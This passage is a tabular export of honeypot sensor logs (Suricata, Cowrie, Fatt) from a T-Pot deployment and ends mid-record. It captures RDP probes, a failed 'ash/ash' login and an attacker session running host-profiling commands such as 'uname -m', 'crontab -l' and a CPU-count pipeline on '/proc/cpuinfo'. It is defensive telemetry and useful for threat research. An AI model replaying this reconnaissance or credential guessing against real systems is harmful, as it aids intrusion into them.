35991	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:11:13.456198+03	2021-09-20 15:15:03.990691+03	{"_id": "mwYeA3wBvYTbRNuEDl_u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:12.806591+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1321217745243839, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51603, "dest_port": 3389, "timestamp": "2021-09-20T12:11:13.456198Z", "@timestamp": "2021-09-20T12:11:13.456Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35993	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:14.069311+03	2021-09-20 15:15:03.993689+03	{"_id": "nQYeA3wBvYTbRNuEEV-4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:14.069311Z", "@timestamp": "2021-09-20T12:11:14.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
35994	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:14.069861+03	2021-09-20 15:15:03.99469+03	{"_id": "ngYeA3wBvYTbRNuEEV-4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:14.069861Z", "@timestamp": "2021-09-20T12:11:14.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35995	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:14.686716+03	2021-09-20 15:15:03.99569+03	{"_id": "oQYeA3wBvYTbRNuEFV-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "43.240.6.90", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6174812316894531, "duplicate": true, "timestamp": "2021-09-20T12:11:14.686716Z", "@timestamp": "2021-09-20T12:11:14.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
35996	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:15.105633+03	2021-09-20 15:15:03.996691+03	{"_id": "owYeA3wBvYTbRNuEFV-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:15.105633Z", "@timestamp": "2021-09-20T12:11:15.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35997	13.107.246.60	109.199.241.180	Suricata	2021-09-20 15:11:15.457343+03	2021-09-20 15:15:03.998691+03	{"_id": "pAYeA3wBvYTbRNuEFl-9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:15.457343+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.246.60", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.246.60", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 900983112858239, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62524, "timestamp": "2021-09-20T12:11:15.457343Z", "@timestamp": "2021-09-20T12:11:15.457Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35998	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:10.980397+03	2021-09-20 15:15:03.99969+03	{"_id": "iQYeA3wBvYTbRNuEBV_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:10.980397Z", "@timestamp": "2021-09-20T12:11:10.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35999	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:10.980891+03	2021-09-20 15:15:04.00069+03	{"_id": "igYeA3wBvYTbRNuEBV_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:10.980891Z", "@timestamp": "2021-09-20T12:11:10.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36000	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:12.01789+03	2021-09-20 15:15:04.001689+03	{"_id": "jQYeA3wBvYTbRNuECV_n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:12.017890Z", "@timestamp": "2021-09-20T12:11:12.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36001	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:12.018433+03	2021-09-20 15:15:04.00369+03	{"_id": "jgYeA3wBvYTbRNuECV_n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:12.018433Z", "@timestamp": "2021-09-20T12:11:12.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36002	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:12.637052+03	2021-09-20 15:15:04.00469+03	{"_id": "jwYeA3wBvYTbRNuECV_n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 19, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "43.240.6.90", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6192476749420166, "duplicate": true, "timestamp": "2021-09-20T12:11:12.637052Z", "@timestamp": "2021-09-20T12:11:12.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36003	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:11:13.105907+03	2021-09-20 15:15:04.00569+03	{"_id": "mgYeA3wBvYTbRNuEDl_u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:12.806591+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1321217745243839, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51603, "dest_port": 3389, "timestamp": "2021-09-20T12:11:13.105907Z", "@timestamp": "2021-09-20T12:11:13.105Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36004	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:13.676104+03	2021-09-20 15:15:04.006691+03	{"_id": "nwYeA3wBvYTbRNuEEV-4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "43.240.6.90", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6182186603546143, "duplicate": true, "timestamp": "2021-09-20T12:11:13.676104Z", "@timestamp": "2021-09-20T12:11:13.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36005	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:15.105078+03	2021-09-20 15:15:04.008689+03	{"_id": "ogYeA3wBvYTbRNuEFV-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:15.105078Z", "@timestamp": "2021-09-20T12:11:15.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36006	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:10.979844+03	2021-09-20 15:15:04.00969+03	{"_id": "iwYeA3wBvYTbRNuEBV_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:10.979844Z", "@timestamp": "2021-09-20T12:11:10.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36007	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:13.058474+03	2021-09-20 15:15:04.012689+03	{"_id": "lQYeA3wBvYTbRNuEDV_P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:13.058474Z", "@timestamp": "2021-09-20T12:11:13.058Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36008	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:11:13.105907+03	2021-09-20 15:15:04.014691+03	{"_id": "mAYeA3wBvYTbRNuEDl_u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:12.806591+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1321217745243839, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51603, "dest_port": 3389, "timestamp": "2021-09-20T12:11:13.105907Z", "@timestamp": "2021-09-20T12:11:13.105Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36009	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:11:09.223025+03	2021-09-20 15:15:04.01569+03	{"_id": "gAYdA3wBvYTbRNuE_l8s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [ash/ash] failed", "session": "9e98ed5745b6", "@version": "1", "password": "ash", "username": "ash", "timestamp": "2021-09-20T12:11:09.223025Z", "@timestamp": "2021-09-20T12:11:09.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	HK
36010	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:09.934228+03	2021-09-20 15:15:04.016691+03	{"_id": "hQYeA3wBvYTbRNuEAl8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:09.934228Z", "@timestamp": "2021-09-20T12:11:09.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36011	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:25.65644+03	2021-09-20 15:15:04.018689+03	{"_id": "3wYeA3wBvYTbRNuEQF-g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:25.656440Z", "@timestamp": "2021-09-20T12:11:25.656Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36012	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:11:26.523644+03	2021-09-20 15:15:04.01969+03	{"_id": "5AYeA3wBvYTbRNuEQV-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 38725, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1988, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1504619292194297, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40195, "timestamp": "2021-09-20T12:11:26.523644Z", "@timestamp": "2021-09-20T12:11:26.523Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36013	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:26.577234+03	2021-09-20 15:15:04.02069+03	{"_id": "6QYeA3wBvYTbRNuEQl_6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": 